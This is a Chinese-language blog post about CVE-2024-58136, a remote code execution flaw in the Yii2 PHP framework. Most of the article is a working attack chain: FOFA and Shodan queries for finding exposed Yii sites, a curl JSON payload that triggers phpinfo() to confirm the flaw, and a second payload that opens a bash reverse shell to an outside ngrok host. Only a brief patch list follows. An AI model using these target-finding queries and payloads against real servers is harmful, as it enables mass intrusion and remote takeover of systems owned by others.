网站首页 > 开源技术 正文
CVE-2024-58136是Yii2 PHP 框架中的一个高危远程代码执行 (RCE)漏洞。该漏洞源于密钥验证不当,允许攻击者使用受控参数实例化任意 PHP 类,从而导致 RCE。
本文演示了如何在实际应用程序中发现此漏洞,如何获取 Recevese Shell 和缓解措施。
CVE-2024-58136 的根本原因
参考:
https://attackerkb.com/topics/U2DdokjYhB/cve-2024-58136/rapid7-analysis
CVE-2024-58136 — RCE PoC利用
发现目标
1. FOFA 查询
title= “yii” || title = “X-Powered-By: Yii”
2. Shodan查询
在 Shodan 中使用它:
http.headers:“X-Powered-By: Yii”
3.PoC漏洞
步骤 1:phpinfo() 测试确认 RCE
curl -k -X POST https://target/index.php \
-H "Content-Type: application/json" \
-d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}'
检查响应是否包含phpinfo()、PHP Version等,探测是否有此漏洞。
步骤2:反向Shell载荷
设置和监听器
nc -lvnp 9999
CVE-2024-58136 — RCE PoC
curl -k -X POST https://sub.domain.tld/index.php \
-H "Content-Type: application/json" \
-d '{"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream": "bash -c '\''bash -i >& /dev/tcp/x.tcp.xx.ngrok.io/9999 0>&1'\''"}}'
补丁
- 将 Yii2 升级到2.0.52或更高版本
- 添加服务器端 WAF 来阻止行为键__class,as例如on
- 避免接受来自不受信任的客户端的原始 JSON。
猜你喜欢
- 2025-10-19 非可php站群框架,Google Authenticator后台登录二次认证应用发布
- 2025-10-19 PHP Swoole/WebMan/Octane 等长驻进程框架内存泄露诊断与解决方案
- 2025-10-19 Php框架应用之YII框架_php yii框架
- 2025-10-19 Python、Node、Rust、PHP、C++ 等都能用 WebAssembly 框架强悍来袭?
- 2025-10-19 PHP框架之Laravel框架教程:3. 数据库操作(简要)
- 2025-10-19 PHP自动测试框架Top 10_php在线测试工具
- 2025-10-19 PHP Laravel框架底层机制_php框架的底层原理
- 2025-10-19 为啥很多企业自己写PHP框架?_为什么很多公司php转java
- 2025-10-19 XSS注入我也不怕不怕啦--PHP从框架层面屏蔽XSS的思考和实践
- 2025-10-19 【开源推荐】PhalApi2.13(致敬版) 发布,PHP 轻量级开源接口框架
你 发表评论:
欢迎- 最近发表
- 标签列表
-
- jdk (81)
- putty (66)
- rufus (78)
- 内网穿透 (89)
- okhttp (70)
- powertoys (74)
- windowsterminal (81)
- netcat (65)
- ghostscript (65)
- veracrypt (65)
- asp.netcore (70)
- wrk (67)
- aspose.words (80)
- itk (80)
- ajaxfileupload.js (66)
- sqlhelper (67)
- express.js (67)
- phpmailer (67)
- xjar (70)
- redisclient (78)
- wakeonlan (66)
- tinygo (85)
- startbbs (72)
- webftp (82)
- vsvim (79)
本文暂时没有评论,来添加一个吧(●'◡'●)